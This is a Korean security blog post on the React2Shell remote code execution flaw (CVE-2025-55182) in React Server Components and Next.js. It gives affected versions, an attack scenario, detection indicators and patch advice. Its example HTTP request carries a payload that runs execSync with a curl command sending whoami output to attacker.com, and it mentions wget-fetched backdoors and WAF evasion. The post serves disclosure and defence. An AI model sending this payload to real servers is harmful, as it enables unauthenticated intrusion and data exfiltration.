정보보안/보안이슈

React2Shell 취약점 / CVE-2025-55182

이주디 2025. 12. 13. 12:52

1. React2Shell 취약점

  • React와 Next.js에서 작동하는 원격 코드 실행(RCE) 취약점
    • 리액트 서버 함수 엔드포인트로 전송되는 페이로드를 디코딩하는 방식의 결함으로, 인증 없이 원격 코드 실행 가능
    • 리액트 서버 함수 엔드포인트를 구현하지 않더라도, 리액트 서버 컴포넌트를 지원하는 경우 취약점 발생 가능
  • 단일 HTTP 요청 만으로 서버에서 임의 코드 실행이 가능할 정도로 복잡도가 낮음
  • CVSS 점수 10.0이며, Lg4shell 이후로 가장 치명적인 취약점으로 평가 받음

 

 

Critical Security Vulnerability in React Server Components

### Impact There is an unauthenticated remote code execution vulnerability in React Server Components. We recommend upgrading immediately. The vulnerability is present in versions 19.0, 19...

github.com

 

RCE in React Server Components

A vulnerability affects certain React packages<sup>1</sup> for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the A...

github.com

 

타임라인

 

영향범위

NPM Package Affected Versions Patched Versions
react-server-dom-webpack
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1
react-server-dom-parcel
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1
next
>=14.3.0-canary.77, >=15, >=16
v16.0.7, v15.5.7, v15.4.8, v15.3.6, v15.2.6, v15.1.9, v15.0.5, 15.6.0-canary.58, 16.1.0-canary.12

 

2. 취약점 상세

공격 시나리오 및 PoC

https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc

 

GitHub - lachlan2k/React2Shell-CVE-2025-55182-original-poc: Original Proof-of-Concepts for React2Shell CVE-2025-55182

Original Proof-of-Concepts for React2Shell CVE-2025-55182 - lachlan2k/React2Shell-CVE-2025-55182-original-poc

github.com

 

클라이언트가 서버 함수를 호출할 때, 서버가 전달받은 데이터를 검증 없이 역직렬화(Deserialization)하는 과정에서 취약점이 발생함.

  • React Server Components는 서버와 클라이언트 간의 상태를 주고받기 위해 Flight라고 불리는 특수한 스트림 형식을 사용
  • 이 형식은 단순한 JSON이 아니라 객체 간의 참조를 위해 $, @, K 등의 특수 접두사를 사용함
  • 공격자는 이 특수 접두사를 참조하는 점을 악용하여, 서버가 내부적으로 사용하는 민감한 자바스크립트 모듈(ex. node:child_process)을 강제로 불러오고(Import) 해당 모듈의 함수를 실행하게 만듦

 

공격 시나리오

  1. 공격자는 공격 대상 웹 사이트의 소스코드나 네크워크 트래픽을 분석하여 Next-Action 헤더에 사용되는 Server Action ID를 알아냄. 이는 보통 40자리의 해시 값 형태임.
  2. RSC(React Server Components) 엔드포인트를 식별하고, 특정 자바스크립트 객체를 조작(서버의 decodeReply 함수가 데이터를 처리할 때한 명령으로 해석되도록)하는 페이로드를 생성.
  3. multipart/form-data 를 사용하여 Next-Action 헤더와 함께 조작된 요청을 전송함
  4. 서버는 페이로드를 처리하는 과정에서 공격자가 주입한 코드를 서버 권한으로 실행하게 됨. 수신한 데이터를 파싱하는 과정에서 공격자가 주입한 $@ 참조를 만나게 되고, 이를 '내부 모듈 호출' 의미로 오인하여 execSync  같은 명령어를 서버 권한으로 실행함.

 

POC 예시 (HTTP Request)

POST / HTTP/1.1
Host: target-vulnerable-app.com
Next-Action: ac603567793d567793d567793d567793d567793d  <-- 식별된 Action ID
Content-Type: multipart/form-data; boundary=----RCEBoundary

------RCEBoundary
Content-Disposition: form-data; name="1"

{
  "$@": [
    "node:child_process", 
    "execSync", 
    ["curl http://attacker.com/log?res=`whoami`"]
  ]
}
------RCEBoundary--

위는 공격자가 서버에서 whoami 명령어를 실행하기 위해 전송하는 패킷 예시임

  • $@ : RSC 엔진에 '이 값은 외부 모듈을 로드하고 함수를 실행하라는 지시어' 라고 속이는 핵심 트리거
  • node:child_process : node.js에서 시스템 명령어를 실행할 수 있는 표준 모듈
  • execSync : 인자로 전달된 명령어를 동기적으로 실행하는 함수
  • curl ... : 실행 결과를 공격자의 서버로 전송하여 성공 여부를 확인하는 것

 

탐지 지표

  • Next-Action 헤더를 포함한 비정상적인 POST 요청 빈도 증가
  • 요청 본문에 $@ 참조, then 프로퍼티, node:child_process 와 같은 민감한 모듈 호출 포함 여부
  • 웹 서버 프로세스(node)에서 파생된 비정상적인 하위 프로세스(curl, wget, sh, powershell) 실행 로그
  • /tmp 디렉토리에 생성되는 임의의 실행파일 (.sh, .py 등)
  • 환경변수(process.env)를 탈취하여 클라우드 자산(AWS 키)에 접근하려는 시도

 

공격 동향

취약점을 이용해 단순 시스템 장악에 그치지 않고 다음과 같은 패턴도 보였음

  • wget을 통해 악성 스크립트를 다운로드 한 후, 메모리 내에서만 동작하는 백도어 실행
  • 페이로드를 Base64로 인코딩하거나 String.fromCharCode 등을 섞어 WAF의 문자열 기반 탐지를 회피

 

3. 조치 방안

  • 대응방안
    • 최신 버전으로 업데이트
  • 임시 조치
    • WAF를 활용해 Next-Action 헤더가 포함된 요청에 대해 알려진 공격 패턴을 차단하는 규칙 적용
    • 서버에서 500 에러와 함께 E{"digest": ...} 형태의 응답이 급증하는지 모니터링 (취약점 스캔의 흔적일 수 있음)

 

4. 관련 취약점

React2Shell 취약점 이후 RSC 프로토콜의 구조적 문제에서 파생된 취약점들이 추가로 확인됨

  • CVE-2025-55183: RSC 페이로드 처리 중 발생하는 서비스 거부 취약점
  • CVE-2025-55184: 특정 조건에서 서버의 소스코드가 노출될 수 있는 취약점
  • CVE-2025-67779: CVE-2025-55184의 불완전한 패치로 인해 발생하는 추가적인 DoS 취약점

 

'정보보안 > 보안이슈' 카테고리의 다른 글

25.11 쿠팡 개인정보 유출 사고  (3) 2025.12.03